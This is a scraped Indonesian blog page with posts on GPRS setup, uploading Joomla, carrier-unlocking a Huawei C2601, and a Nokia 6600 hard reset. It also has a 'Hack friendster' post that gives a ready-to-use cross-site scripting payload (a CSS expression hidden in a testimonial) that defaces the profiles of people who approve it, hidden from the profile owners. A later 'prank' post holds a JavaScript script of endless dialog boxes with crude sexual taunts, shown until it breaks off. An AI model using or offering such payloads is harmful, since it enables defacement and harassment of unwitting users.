Filed under: Uncategorized | Tinggalkan sebuah Komentar »
cara setting gprs di hp pda
GPRS atau kependekan dari General Packet Radio Service adalah saluran komunikasi data yang biasa terdapat pada Handphone yang biasa digunakan untuk mengakses internet. Kecepatan transfer data GPRS bisa mencapai 114 Kbps. Hingga saat ini sudah ada penerus dari GPRS, yaitu EDGE ( Enhanced Data Rates for GSM Evolution ) yang bisa mentransfer data hingga 473 Kbps, dan HSDPA atau yang lebin dikenal dengan teknologi 3,5G di GSM. HSDPA ( High Speed Downlink Packet Access ) sendiri bisa mentransfer data hinga 14 Mbps.
Untuk PDA O2 yang dikeluarkan di Indonesia sendiri, hanya O2 Atom Life yang mendukung HSDPA, sedangkan yang mendukung EDGE yaitu Atom Black, Atom Pure, Atom Exec, dan Atom Life
Sebelum mensetting pastikan kartu anda sudah aktif gprsnya. Ini bisa dilihat pada indikator GPRS yang akan muncul disebelah kiri indikator sinyal berupa hurup G untuk GPRS atau E untuk EDGE.
Cara mensetting GPRS di PDA O2 sendiri sangat mudah sekali. Anda tinggal cari menu auto configurator. Menu tersebut adanya di menu Start –> Programs –> O2 AutoConfig ( Auto Config ; untuk O2 yang memakai sistem WM2003 ) –> Pilih operator yang dipakai –> Done/OK. Dan anda sudah bisa mengakses internet via GPRS. Tapi memang hingga saat ini, untuk kartu mentari dan matrix harus sedikit diubah settingannya karena dengan settingan auto config kadang tidak bisa berjalan.
Mentari :
1. Lakukan Auto Config dengan menggunakan operator Satelindo
2. Masuk Menu Start –> Setting –> Connections –> Connections
3. Pilih ” Manage Existing Connections “
4. Pada menu modem pilih edit, pastikan pilihan kursor anda pada satelindogprs.
5. Pada kotak ” Enter a name for the connections ” –> Satelindogprs
6. Pada kotak ” Select a Modem ” –> Cellular Lines ( GPRS )
7. Next, Access Point Name –> indosatgprs
8. Next, User name –> indosat dan Password –> indosat
9. Klik advanced
10. Selanjutnya pada menu servers, pilih pilihan ” Use server assigned addresses ” –> OK –> Finish
Selamat Mencoba
Filed under: Uncategorized | 2 Komentar »
upload joomla di webhosting
A. Mengupload ke Hosting Setelah semua sudah dilakukan, kini saatnya meletakkan Joomla Anda ke hosting sebenarnya agar bisa diakses oleh pengguna internet. Karena dalam proses ini sedikit rumit, jangan mengubah yang lain kecuali Anda tahu apa yang Anda lakukan. Siapkan database Joomla yang ingin di-upload. Backup database Anda, jika menggunakan phpMyAdmin silahkan akses phpMyAdmin dari web browser Anda (buka Panduan XAMPP untuk lebih jelasnya). Pilih database Joomla yang ingin diupload dari drop down menu Database. Setelah database dipilih dan menampilkan table-tablenya, klik pada tombol Export. Lalu pilih select all dan centang kotak “Add Drop Table”. Centang “Save as file” tekan tombol “Go” di kanan bawah browser. Browser akan mengeluarkan konfirmasi penyimpanan ke local komputer. Setelah itu, loginlah ke CPanel hosting Anda. Bisanya beralamat di www.namaanda.com/cpanel. Login dan pilih menu MySQL Databases. Klik tombol Create Database. Di sini tempat membuat database MySQL web Joomla yang akan diupload. Masukkan nama database Joomla dan tekan “Create Database”. Setelah berhasil membuat database, anda perlu memastikan bahwa web Joomla dapat mengaksesnya. Untuk itu dibutuhkan user MySQL yang memiliki hak akses ke database tersebut. Klik MySQL Databases dan klik tombol Add User. Masukan username dan password untuk user MySQL. Akhiri dengan menekan tombol Create User. Setelah membuat user, sekarang tinggal memberi user hak akses untuk database Joomla. Di cPanel > MySQL Databases, cari dua drop-down untuk user dan database, pilih Joomla database dan user yang baru dibuat dan set Privileges ke ALL dan tekan Add User to Database. Kini hosting siap menerima database Joomla Anda. Setelah selesai membuat database dan user sekarang buka phpMyAdmin di cPanel > MySQL Database > phpMyAdmin. Pilih database Joomla yang ingin diupload dari drop down menu database. Setelah database dipilih dan menampilkan tabletablenya, klik pada tombol Import, browse serta arahkan ke lokasi penyimpanan database di komputer Anda. Klik Go untuk melakukan proses upload. Langkah berikutnya adalah menyetting configuration.php. Sebuah file yang berisi informasi web Joomla, database, user, dan lain-lain. Sebelum upload file ke server Hivos ICT Trajectory – Panduan Joomla 8 hosting, Anda harus mengganti konfigurasi Joomla. BACKUP dulu file configuration.php menjadi configuration.local.php. Buka file configuration.php dan ganti beberapa nilai seperti yang ada dib awah ini lalu simpan. Contoh di bawah ini menggunakan asumsi kalau Anda ingin membuat web Joomla diakses melalui http://namaanda.com/. $mosConfig_absolute_path = ‘/home/[USERNAME]/public_html’; $mosConfig_cachepath = ‘/home/[USERNAME]/public_html/cache’; $mosConfig_password = ‘[PASSWORD_DATABASE_JOOMLA]’; $mosConfig_user = ‘[USERNAME]_[NAMA_DATABASE_JOOMLA]’; Ingat! Nama database dan username akan diberi prefiks “[USERNAME]_” di mana username ini diambil dari login cPanel. Jangan lupa password user MySQL case-senditive. Kini, arsipkan direktori Joomla di komputer Anda menjadi joomla.zip. Setelah itu jalankan aplikasi FTP dan upload ke direktori yang diinginkan. Bisa juga dengan menggunakan File Manager di cPanel > File Manager untuk melakukan upload. Kalau ingin menjadikan Joomla sebagai web utama silahkan upload file zip Joomla ke dalam direktori public_html supaya Joomla dapat diakses melalui http://nama anda.com/. Setelah selesai upload, gunakan File Manager di cPanel > File Manager dan navigasikan ke direktori tempat file zip Joomla diupload, klik paka nama file, nanti bagian kanan web browse akan menampilkan beberapa pilihan, klik “Extract File Contents”. Refresh File Manager dengan klik pada nama direktori public_html, nanti akan muncul file-file berhasil diekstrak. Misalnya: public_html/index.php public_html/components/ public_html/templates/ dan sebagainya
Filed under: Uncategorized | Tinggalkan sebuah Komentar »
Hack friendster
tulis script ini di testimonial buat temen lo
””””Begin Testimonial”””””’
Halo apa kabar ??? thanks yachh dah add gw…
<img src=http://mail.yahoo.com/config/login?/”" id=”xxx”
style=”height:expr_/**/ession(if(pageViewerID!=pageOwnerID){document.write(‘<body
bgcolor=black><br><br><center><font
face=verdana size=4pt color=white>HACKED BY isi kolom ini dengan
nama lo<br>Ur Account Have been Deface by isi ini dengan nama
lo<br><br>Sorry Yach…<Br>Nothing is
Secure..<br><Br><br><br>nobodys servers is
safe..<br><br><br>isi kolom ini dengan email
lo<br>‘);document.title = ‘-friendster u gw ambil alih!!!-’}); width:expr_/**/ession(document.all.xxx.style.height=’0px’)” /></img>
”””””””End Testimonial””””””
perhatikan:
<img src=http://mail.yahoo.com/config/login?/”" id=”xxx” style=”height:expr_/**/ession(
script diatas adalah tag html yg dipake untuk membuka jalan
agar _javascript yg kita inject bisa dijalankan
if(pageViewerID!=pageOwnerID)
fungsi diatas untuk mencegah agar yg punya fs gak
bisa ngliat klo profilenya udah berubah…
jadi perubahan ini cuma bisa dilihat sama orang lain,kecuali pemiliknya.
lalu,
document.write(‘< div />
script diatas adalah script _javascript yg fungsinya untuk menuliskan
tag html semau kita kedalam sebuah testi… sehingga kita bisa merubah
seluruh tampilan profile org yg telah mengapprove testi kita.
Filed under: Uncategorized | Tinggalkan sebuah Komentar »
unlock huawei C2601
setelah sebelumnya aq posting tentang huawei yang spectakuler dengan harganya murah meriah dan kualitas handphone yang top abizzz…
sekarang aq mo kasih sedikit informasi tentang hp satu ini, yang mo menambahkan silahken…
Kode-kode:
##497613,2-System Test,5-Test Call, nam
##412365 sama sprti atas
##745698 version
##147852 test mode
##159357 R-UIM \ ROM-UIM
##258741 restore
##236985 == monitoring debug
*#06# – ESN
*+End – force download
Beberapa Versi Software Huawei C2601
versi 1
BOOT : 6010P1B104
APP : C2601C49B102SPO3
PRL : 1
HW : Ver.C
AUG 03 2007
versi 2
BOOT : 6010P1B104
APP : C2601C49B1O3
PRL : 1
HW : Ver.C
AUG 17 2007
versi 3
BOOT : 6010P1B104
APP : C2601C49B103SPO1
PRL : 1
HW : Ver.C
sept 13 2007
versi 4
BOOT : 6010P1B104
APP : C2601C49B104
PRL : 1
HW : Ver.C
oct 09 2007
Version 5
BOOT: 6010P1B104
APP : C2601C49B104
PRL : 1
HW : Ver.c
NOV 06 2007
Nah, ternyata huawei C2601 itu ada beberapa versi softwarenya…. aq
cek punya ku pake kode ##745698, ketahuan sudah C2601 ku versi yang
pertama.
Trus googling………………..100%
dapet langkah2 buat unlock seperti berikut :
1). Hanya setting SID di ponsel esia huawei C2601 (tanpa menggunakan software)
2). Menggunakan software unlocked melalui kabel USB.
Untuk cara yang pertama, pesawat esia huawei C2601 harus memiliki spesifikasi sebagai berikut:
- Frameware Versi C tanggal 03 Agustus 2007
- Jika dimasuki kartu selain esia maka akan keluar “SID invalid”
Sedangkan untuk cara yang kedua dilakukan untuk pesawat esia huawei
C2601 yang memiliki spesifikasi selain di atas, diantaranya jika
dimasuki kartu selain esia maka akan keluar “MIN out of range”.
Berhubung C2601 punyaku sesuai syarat buat unlock cara pertama (gak perlu pake software) googling lagi, dapet deh…
cara 1 :
1. cek versi huawei caranya pilih menu :
a.Setting
b.phone setting
c.version…ntr ada BOOT:….. APP:… pokoknya ada tulisan tglnya 3 agust
2007.nah kalo bener…selamat, berarti anda bisa meneruskan kelangkah
selanjutnya!
2. Unlock security huawei
a.masukin kartu selain esia, apa aja yang penting CDMA dan pake 800Mhz.
b.nah lo hidupin hpnya…
c1.kalo ada tulisan “MIN diluar jangkauan” berarti hp lo kudu pake software….dan lao gak bisa lanjut ke langkah berikutnya!
c2.kalo ada tulisan “silakan masukan SID yang valid” berarti kita siap beraksi…
d.pencet Darurat/sos ketik ##412365, call
e.pilih no2. system test
f.pliih no5. Nam programing
g.masukin spc code 000000
h.trs oke2in aja menunya sampe ade SID… kalo lo pake Fren pasti SIDnya 10530….kalo pake flexi…hmmm berapa yah kemaren, gw lupa!
i.nah begitu nanyain SID, lo hapus SID yang ada disitu, trus SID-nya lo input aja 00000
j.trs oke2in sampe ada menu 1.complete 2.continue.. pilih complete
k…proses selesai!
ini daftar SID nya:
FLEXI 10496
STARONE 10819
FREN 10530
ESIA 10623
Channel Flexi (JAKARTA)
primary A 119 atau 725
primary B 37 atau 750
secondary A 78 atau 775
secondary B 777
Channel Starone (JAKARTA)
primary A 625
primary B 675
secondary A 650
secondary B 777
Channel FREN (JAKARTA)
primary A 25
primary B 37
secondary A 466
secondary B 777
Channel ESIA (JAKARTA)
primary A 30
primary B 72
secondary A 78
secondary B 777
Ini SID/NID untuk Bandung :
Home SID: 10623
Home NID: 65535
Primary CH A: 25
Primary CH B: 384
Second CH A: 691
Second CH B: 777
ingat….. cara 1 hanya untuk esia c2601 versi 1 (3 Aug 2007)
kalo selain versi 1 harus cara 2 yang pake software, softwarenya bisa donlot disini:
http://dynoz.spectalink.net/wp-data/index.php?dir=software/
aq gak tau cara yang kedua, soalnya memang gak punya esianya.
sekian dulu info dari aq semoga bermanfaat, mohon maaf kalo ada salah kata…
selamat mencoba!
Filed under: Uncategorized | 2 Komentar »
Penyakit Nokia 6600 gue
Mei 20, 2007 at 10:07 am | In Personal |
Ditulis Tanggal 19 Mei 2007
Gila! Empat hari ini gue dibikin stress ole Alfonso(Nokia 6600 gue)!
Satu minggu setelah pembeliannya Alfonso masih berfungsi normal. Bahkan
sempet ikut jalan-jaln ke surabaya, sambil mendokumentasikan
momen-momen hebat di sana. Lumayan lah kamera VGA berhasil meninggalkan
kenangan-kenangan yang gue jalananin dalam seminggu terakhir. Beberapa
diantaranya mejeng di blog ini.
Dua hari setelah sampai di jakarta, penyakit pun datang. Selama
bolak-balik ke jakarta sudah menjadi kebiasaan gue untuk menenggelamkan
gadget-gadget penting yg rawan dicopet ke bagian terdalam tas. Alfonso
pun menemani Veronica (my Audiovox Thera) di sudut terdalam tas selagi
gue naik turun bis. Herannya, saat beberapa kali gue cek alfonso dari
dalam tas, selalu dalam keadaan mati. Awalnya gue berpikir mungkin
kesenggol, jadi mati sendiri. Tanpa banyak berpikir, gue turn on lagi,
terus selipin lagi ke dalam ransel. Kalau Veronica sih jarang gue
tengok sejak punya Nokia 6600 ini. Meski memori cardnya 1 Giga dan
penuh terjejali dengan ilmu dalam ebook-ebook berbagai bidang, sekarang
lagi males baca. Kasian juga Veronica sekarang agak diterlantarkan,
bahkan modemnya pun dimatikan. Dengan mematikan modem, ternyata
Audiovox Thera gue bisa kuat hidup seharian loh. Padahal kalau modem
nyala, paling lama hidup 1 jam. Pas ada incoming call, ia pun langsung
koit seketika.
Kembali ke Nokia 6600. Setelah gue nyalain dan dimasukin ke dalam
tas lagi, di tengah jalan iseng pengen buka hp lagi. Pas dibuka, nah
lo, mati lagi! Wah jangan-jangan jangan-jangan… Belum mikir
macem-macem, tetep positif thinking, barangkali kegoyang-goyang dalam
ransel, idupin lagi. Ternyata-ternyata frekuensi koit otomatisnya makin
menggila sampai-sampai saat dinyalaain, nongol logo Nokia, trus
perlahan-lahan logonya mengabur dan handphone mati. Waduh stress!
Sembilan ratus ribu men! Beli second pula. Nggak ada garansi, gak ada
after sales services, masak sih harus angus duit hasil kerja keras gue.
Makanya karena seminggu setelah balik dari surabaya sekolah libur, jadi
sejak rabu malam gue ada di rumah Jonggol. Gue udah ngebet banget
pengen ke Jakarta nanya ke om gue mengenai masalah kegilaan si alfonso
ini. Maklum, omnya ada di dunia cyber, namanya om google, gak bisa
diakses dari rumah. Kemarin-kemarin sih bawa laptop kampus jadi
selelet-leletnya telkomnet instan masih bisa browsing dari rumah.
Sekarang paska lomba di surabaya, dah gak punya hak minjem laptop lagi.
Apalagi ternyata di sana kalah (hiks…).
Sabtu pagi tadi langsung cabut ke Jakarta, pake tas gede segala,
sekalian bawa printer soalnya. Sesampei kostan langsung bongkar muat
barang.Nyopotin DVD-RW dari komputer, mau dibawa ke mangga dua sekalian
klaim garansi, DVD-RW tapi gak bisa baca DVD. Sebelum ke mangga dua
mampirlah dulu gue ke warnet. Mahal 2000 per 30 menit mentang-mentang
pake LCD monitor. NAma warnetnya gak tau, pokoknya di samping pemuda 3.
Dengan firefox, the best web browser, di toolbar google laangsung
gue ketik “Nokia 6600 can’t start up”, dan si om pun langsung
menunjukan lokasi-lokasi dimana diasumsikan jawaban permasalahan gue
dapat ditemukan. Akhirnya gue coba salah satu jawaban yang diperoleh.
Solusinya bernama hard reset. Hard reset disini artinya mengklirkan
memori hp seperti saat kondisi baru dari pabrik. Diharapkan dengan
melakukan hal tersebut permasalahan yang dihadapi hp gue bisa sembuh.
Sebelumya juga gue udah sering ngelakuin hard reset pda gue Audiovox
thera. Hard reset Audiovox Thera sangat gampang, tahan tombol power
trus colok tombol reset di belakang pda pake pentilnya stylus dan pda
pun seperti baru kembali (memorinya, kalo fisiknya sih tetep
demek-demek juga dengan segala goresan dan somplak di bodinya). Saking
gampangnya mehardreset Veronica, sering juga tanpa sengaja ke hard
reset dan data-data berharga gue hilang.
Balik ke masalah hard reset Nokia 6600. Caranya sinting, susah dan
aneh banget. Dari berapa informasi yang diperoleh ada beberapa hal yan
g perlu disiapkan:
-Pastikan kondisi baterai cukup bagus sebab proses hard reset lumayan
memakan waktu beberapa menit. Kalau mati di tengah jalan, maka hp pun
bisa-bisa matot (mati total).-Back up dulu data-data penting (boro-boro
back up, hidupin hp aja gak bisa)
-Resiko di tanggung sendiri (ini ditulis disetiap web yg menjelaskan
cara hard reset Nokia 6600. Wah seakan-akan proses ini sangat
membahayakan sekali).
JIka semua persiapan oke maka proses hard resetnya sebagai berikut:
-tekan dan tahan tombol-tombol berikut:
+call(Angkat telepon warna hijau)+tombol *
+tombol
3
tahan ketiga tombol tersebut, jangan sedikit pun terlepas.
-Dengan ketiga tombol tadi masih tertekan, hidupkan power hp. Gila
jari-jari gue sampai keram melakukan aksi gila ini, cobain sendiri deh
kalau pengen tau rasanya.
-Jika langkah yang dilakukan benar, saat hp hidup bukan logo nokia yang
muncul, tapi tulisan “formatting…” di tengah-tengah layar hp dengan
status bar vertikal penuh dari atas ke bawah berwarna coklat bergerak
dari kiri ke kanan.
-jika status bar sudah sampai paling kanan proses pun selesai dan hp akan restart sendiri.
-Setelah restart hp akan ada dalam kondisi baru (memorinya sekali lagi, bukan fisiknya).
Oh ya sekali lagi saya gambarkan proses di atas sulitnya bukan main.
Dari trial sampai lebih dari 20 kali baru tadi siang saya berhasil
memunculkan tulisan “formatting…” aka berhasil me hard reset alfonso.
Wah pokoknya tadi siang gue girang banget, hp gue sembuh! Setelah
restart dia nggak blurring trus koit seperti sebelum-sebelumnya.
Sekarang udah berfungsi normal. Setelah itu gue langsung cabut dari
warnet, sholat zuhur dan berangkat ke mangga dua dengan sumringah.
Di mangga dua langsung ke tempat gue beli DVD-RW, komplain garansi.
Ternyata harus nunggu servisnya sekitar 3 hari. Jadi paling balik ke
sana hari Jumat. Nah sepanjang siang itu gue muter-muter mangga dua.
Nanya-nanya monitor naik turun harko, atas, bawah, bawah atas. Pas
balik cuma bungkus cd software hp, baterai A3 isi ulang sama majalah
infolinux. Di perjalanan balik sambil nunggu bis un, yang pasti
jalananan macet banget. Sesampai pemuda dan turun dari bis alfonso
langsung gue buka lagi. Sesuai dengan dugaan, dia mati. Gue nyalain
langsung powernya. Backlight pun menyala… Perlahan keluar logo nokia
keren warna biru… Diiringi nada startup nokia muncul dua lengan saling
berpegangan dan desktop nokia dengan theme default muncul pelan-pelan…
Tiba-tiba… perlahan lcd memudar, layar pun blank dan Alfonso mati
dengan sendiri. Waduh! ternyata penyakit belum sembuh. Dengan
tergesa-gesa gue coba hard reset dengan metode tadi. Gak bisa! Dengan
kesal gue balik ke kostan. Untung tadi di mangga dua nggak jadi beli
casing 6600. Ba’da maghrib gue harus nanya om google lagi petuahnya
tadi belum manjur.
Ya udah sehabis maghrib langsung ke warnet yang sama. Searching
sekitar 2,5 jam. Metodenya gak beda-beda banget malahan sama aja. Tapi,
sambil browsing dan nyoba hard reset tetap gak bisa-bisa. Jadi hp nyala
sebentar trus mati sendiri. Akhirnya nggak tau trial yang ke berapa,
tulisan “formatting…” pun muncul. Seneng sejenak meski jari pegel nahan
tombol. Baru setengah jalan tiba-tiba layar ngeblur… trus blank dan
kemudian mati. OMG! Shock gue. DAri yg gue baca, jika proses hard reset
terinterupsi hp akan matot. Dengan menekan kepanikan gue hidupan hp
pelan-pelan. Nyala, tapi blank, gak ada logo nokia sama sekali. Setelah
beberapa kali trial, logo nokia kahirnya bisa muncul. Tapi, hp hak mau
startup malah justru menampilkan tulisan yg agak mengerikan: “PHONE
STARTUP FAILED. CONTACT RETAILER”. Wah tamat riwayat alfonso. Dengan
lunglai gue akhiri browsing di warnet dan balik ke kostan dgn bete.
Yang ada di kepala gue, besok gue harus ke konter, servis (dengan
bayang harus mengeluarkan uang beberapa ratus ribu) trus harus langsung
gue jual. Dia sudah terlalu banyak membawa mimpi buruk. Sebelum ke kost
gue ke indomart dulu beli tabloid hp. Dengan uang hasil jual alfonso
(yg kayaknya gak seberapa, mudah2an jangan rugi banyak) besok gue
pengen beli hp baru. BARU bukan BEKAS! SDari saat ini gue kapok beli
barang second.
Sehabis isyaan alfonso gue colokin ke chargeran. Masih penasaran gue
coba nyalain, coba ngehard reset masih gak berhasil. Yang keluar
kata-kata yang sama:”PHONE STARTUP FAILED. CONTACT RETAILER”. Reatiler
dari hongkong. Gak tau pada uji coba ke berapanya ternyata bisa lagi!
Muncul tulisan “formatting…”. Sumringah sesaat sambil was-was
takut-takut nanti pputus di tengah jalan lagi. Sambil dag-dig dug nahan
tombol ternyata bisa selesai sampai akhir. Setelah proses hard reset hp
restart dan langsung hidup. Setelah setting alarm hp langsung gue
charge trus gue matiin. BEsok alfonso harus gue jual! Mudah-mudahan
bisa laku, syukur-syukur bisa untung. Sambil pengen liat-liat hp baru
juga. Gara-gara keselnya sama kejadian seharian ini kalau perlu besok
gue beli hp 3G sekalian. Mudah-mudahan aja Nokia 6600 bisa laku barang
1100000. Amin! Mudah-mudahan gak ada problem gila kayak ini lagi. Udah
ah hampir jam 12 malem.
Filed under: Uncategorized | Tinggalkan sebuah Komentar »
trik kerjain friendster
cobain ajah semua kk,,,,,heheheheheeheheh,,,,,,
eh q ada script lama neh,,,tp kayaknya masih aktif,,,,
| Code: | |
| <html>
<head> <SCRIPT language=JavaScript> <!– HIDE FROM OTHER BROWSERS var c = prompt (“PERHATIAN!!!”+”maaf untuk memasuki situs ini anda harus masukkan nama anda,thanks meyerzz”,”) while (c == null || c == ”){ alert(‘SUDAH DIBILANG ANDA HARUS MEMASUKKAN NAMA ATAU ANDA TIDAK AKAN PERNAH BISA MASUK SITUS INI’); var c = prompt(“MASUKKAN NAMA ANDA!!”,”)} var page = document.location; var ttl = document.title; alert(“HALO ” +c+ “….. GITU DONK NURUT AMA WEBMASTER”+”!”) // STOP HIDING FROM OTHER BROWSERS –> <!– HIDE FROM OTHER BROWSERS var c = prompt (“PERHATIAN!!!”+”gw lupa ama nama lu… masukin lagi lah…. plis… nama loe monyet ya tadi?”,”) while (c == null || c == ”){ alert(‘SUDAH DIBILANG ANDA HARUS MEMASUKKAN NAMA ATAU ANDA TIDAK AKAN PERNAH BISA MASUK SITUS INI’); var c = prompt(“MASUKKAN NAMA ANDA!!”,”)} var page = document.location; var ttl = document.title; alert(“HALO ” +c+ “….. oke deh…,”+”!”) // STOP HIDING FROM OTHER BROWSERS –> confirm (“Kamu yakin mau masuk halaman ini ?”) confirm (“Betul-betul yakin ?”) confirm (“Jangan bohong !”) confirm (“Ok…tapi ingat”) confirm (“Jangan menyesal lho !!”) confirm (“Pertama-tama..”) confirm (“Kamu harus bayar dulu !”) confirm (“Coba lihat deh dompet kamu !”) confirm (“Eitt…kosong ya”) confirm (“Kalau mau masuk situs ini”) confirm (“Kamu harus bawa banyak uang !”) confirm (“Terus kamu kasihkan sama WebMaster”) alert (“Jelas ” +c+ “…sayang ?”) confirm (“Tapi kali ini “) confirm (“Situs ini digratiskan oleh WebMaster !”) confirm (“Eitt…jangan senang dulu !”) confirm (“Kamu harus membawa ID kamu !”) confirm (“Ok kalo begitu keluarkan ID kamu dulu !”) confirm (“Tidak punya ID ?”) confirm (“Ok KTP aja deh !”) confirm (“Sudah ?”) confirm (“Silahkan Anda tempel di layar monitor !”) confirm (“Tidak bawa KTP juga ?”) confirm (“Terus kamu bawa apa donk ?”) confirm (“Coba kamu keluarkan apa yang kamu punya !!”) confirm (“Tidak mau ya ?”) confirm (“Ok…gini aja”) confirm (” Kamu buka baju kamu !!”) confirm (“Sudah ?”) confirm (“Semua di buka !!”) confirm (“Terus kamu pegang anu kamu !!”) confirm (“Eitt…stop..stop !!”) confirm (“Jangan diteruskan !!”) confirm (“Mending gua lihat punya ge sendiri daripada punya kamu !!”) confirm (“Ok..pake lagi dah baju kamu !!”) confirm (“Mana badan kamu penuh panu lagi !!”) confirm (“hiii…!!!”) confirm (“Sekarang enaknya ngapain ya ?”) confirm (“Capek kan ngeklik terus ?”) confirm (“Jangan putus asa deh!!”) confirm (“Karena memang ngga’ ada yang bisa kamu lakukan !!”) confirm (“Betul kan !!”) confirm (“Paling-paling kamu cuman bisa”) confirm (“tekan tombol ctrl-alt-del !!”) confirm (“Kasihan deh kamu”) confirm (“Kan dari awal gue sudah ngomong !!”) confirm (“Jangan menyesal masuk halaman ini”) confirm (“Karena ini adalah halaman”) confirm (“Untuk melatih jari kamu”) confirm (“Dalam mengeklik mouse !!”) confirm (“Jangan khawatir..!!”) confirm (“Paling tinggal 1000 klik lagi !!”) confirm (“Tidak banyak kan ?”) confirm (“Sekarang kalau kamu”) confirm (“Merestart komputer kamu silahkan deh!!”) confirm (“Atau kamu penasaran?”) confirm (“Sampai dimana kamu harus ngeklik?”) confirm (“OK…kita teruskan latihan kamu!!”) confirm (“Ngga’ capek kan ?”) confirm (“Sekarang gue cerita aja ya”) confirm (“Begini !!”) confirm (“Dulu !!”) confirm (“Gue dulu punya temen “) alert (“Kalo ga salah namanya ” +c+ “…”) confirm (“Sapa ya…kamu tahu ngga’”) confirm (“Dia itu paling suka lihat “) confirm (“Gambar-gambar porno di Internet “) confirm (“Seperti kamu”) confirm (“Terus sekarang dia udah menikah”) confirm (“Kamu tau ngga’ apa yang terjadi”) confirm (“Tau ngga’?”) confirm (“Ngga’ tau kan ?”) confirm (“Ya emang ngga’ tau “) confirm (“Kan belum di lanjutin ceritanya ?”) confirm (“Iya neh…gimana sih WebMasternya ?”) confirm (“Tapi gue males “) confirm (“Ngelanjutin ceritanya “) confirm (“Kamu donk yang gantian cerita..!!”) confirm (“Cerita apa aja deh “) confirm (“Emm…tentang pacar kamu aja deh”) confirm (“Apa….?”) confirm (“Kamu ngga’ punya pacar ?”) confirm (“OK..setelah kamu selesai”) confirm (“Mengeklik semua ini “) confirm (“Dijamin kamu akan dapat pacar”) confirm (“Dari sini “) alert (“Heii..” +c+ “…..Kamu cowok apa cewek sih !!”) alert (“Kalau kamu cewek “) alert (“Silahkan contact Web Master !!”) alert (“Soalnya Web Masternya lagi sedih nih”) alert (“Barusan ditinggal sama pacarnya “) alert (“OKE..” +c+ “….!!”) alert (“Kamu belum capek kan ?”) alert (“Gue yang capek dodol !!!”) alert (“Ngetik terus…”) alert (“Gantian kamu donk !!”) alert (“Sekarang ngapain lagi ya..?”) alert (“Berhitung aja ya..!!”) alert (“Ok..kita mulai”) alert (“Kita ngitung tinggal berapa lagi “) alert (“Kamu harus ngeklik !!”) alert (“Setuju ” +c+ “.. “) alert (“Kita mulai..!!!”) alert (“Ini klik nomor 1 “) alert (“Ini klik nomor 2 “) alert (“Ini klik nomor 3 “) alert (“Ini klik nomor 4 “) alert (“Ini klik nomor 5 “) alert (“Ini klik nomor 6 “) alert (“Ini klik nomor 7 “) alert (“Ini klik nomor 8 “) alert (“Ini klik nomor 9 “) alert (“Ini klik nomor 10 “) alert (“Ini klik nomor 11 “) alert (“Ini klik nomor 12 “) alert (“Ini klik nomor 13 “) alert (“Ini klik nomor 14 “) alert (“Ini klik nomor 15 “) alert (“Ini klik nomor 16 “) alert (“Ini klik nomor 17 “) alert (“Ini klik nomor 18 “) alert (“Ini klik nomor 19 “) alert (“Ini klik nomor 20 “) alert (“Ini klik nomor 21″) alert (“Ini klik nomor 22 “) alert (“Ini klik nomor 23 “) alert (“Ini klik nomor 24 “) alert (“Ini klik nomor 25 “) alert (“Ini klik nomor 26 “) alert (“Ini klik nomor 27 “) alert (“Ini klik nomor 28 “) alert (“Ini klik nomor 29 “) alert (“Ini klik nomor 30 “) alert (“Ini klik nomor 31 “) alert (“Ini klik nomor 32 “) alert (“Ini klik nomor 33 “) alert (“Ini klik nomor 34 “) alert (“Ini klik nomor 35 “) alert (“Ini klik nomor 36 “) alert (“Ini klik nomor 37 “) alert (“Ini klik nomor 38 “) alert (“Ini klik nomor 39″) alert (“Ini klik nomor 40 “) alert (“Ini klik nomor 41 “) alert (“Ini klik nomor 42 “) alert (“Ini klik nomor 43 “) alert (“Ini klik nomor 44 “) alert (“Ini klik nomor 45 “) alert (“Ini klik nomor 46″) alert (“Ini klik nomor 47 “) alert (“Ini klik nomor 48 “) alert (“Ini klik nomor 49″) alert (“Ini klik nomor 50 “) alert (“Ini klik nomor 51″) alert (“Ini klik nomor 52″) alert (“Ini klik nomor 53 “) alert (“Ini klik nomor 54 “) alert (“Ini klik nomor 55″) alert (“Ini klik nomor 56″) alert (“Ini klik nomor 57 “) alert (“Ini klik nomor 58″) alert (“Ini klik nomor 59″) alert (“Ini klik nomor 60″) alert (“Ini klik nomor 61″) alert (“Ini klik nomor 62″) alert (“Ini klik nomor 63 “) alert (“Ini klik nomor 64″) alert (“Ini klik nomor 65″) alert (“Ini klik nomor 66″) alert (“Ini klik nomor 67″) alert (“Ini klik nomor 68″) alert (“Ini klik nomor 69 “) alert (“Ini klik nomor 70″) alert (“Ini klik nomor 71″) alert (“Ini klik nomor 72″) alert (“Ini klik nomor 73″) alert (“Ini klik nomor 74″) alert (“Ini klik nomor 75″) alert (“Ini klik nomor 76″) alert (“Ini klik nomor 77″) alert (“Ini klik nomor 78″) alert (“Ini klik nomor 79″) alert (“Ini klik nomor 80″) alert (“Ini klik nomor 81″) alert (“Ini klik nomor 82″) alert (“Ini klik nomor 83″) alert (“Ini klik nomor 84″) alert (“Ini klik nomor 85″) alert (“Ini klik nomor 86″) alert (“Ini klik nomor 87″) alert (“Ini klik nomor 89″) alert (“Ini klik nomor 90″) alert (“Ini klik nomor 91″) alert (“Ini klik nomor 92″) alert (“Ini klik nomor 93″) alert (“Ini klik nomor 94″) alert (“Ini klik nomor 95″) alert (“Ini klik nomor 96″) alert (“Ini klik nomor 97″) alert (“Ini klik nomor 98″) alert (“Ini klik nomor 99″) alert (“Ini klik nomor 100″) alert (“Ini klik nomor 101 “) alert (“Ini klik nomor 102 “) alert (“Ini klik nomor 103 “) alert (“Ini klik nomor 104 “) alert (“Ini klik nomor 105 “) alert (“Ini klik nomor 106 “) alert (“Ini klik nomor 107 “) alert (“Ini klik nomor 108 “) alert (“Ini klik nomor 109 “) alert (“Ini klik nomor 110 “) alert (“Ini klik nomor 111″) alert (“Ini klik nomor 112 “) alert (“Ini klik nomor 113″) alert (“Ini klik nomor 114 “) alert (“Ini klik nomor 115 “) alert (“Ini klik nomor 116 “) alert (“Ini klik nomor 117 “) alert (“Ini klik nomor 118 “) alert (“Ini klik nomor 119 “) alert (“Ini klik nomor 120 “) alert (“Ini klik nomor 121 “) alert (“Ini klik nomor 122 “) alert (“Ini klik nomor 123 “) alert (“Ini klik nomor 124 “) alert (“Ini klik nomor 125 “) alert (“Ini klik nomor 126 “) alert (“Ini klik nomor 127 “) alert (“Ini klik nomor 128 “) alert (“Ini klik nomor 129 “) alert (“Ini klik nomor 130 “) alert (“Ini klik nomor 131 “) alert (“Ini klik nomor 132 “) alert (“Ini klik nomor 133 “) alert (“Ini klik nomor 134 “) alert (“Ini klik nomor 135 “) alert (“Ini klik nomor 136 “) alert (“Ini klik nomor 137 “) alert (“Ini klik nomor 138 “) alert (“Ini klik nomor 139 “) alert (“Ini klik 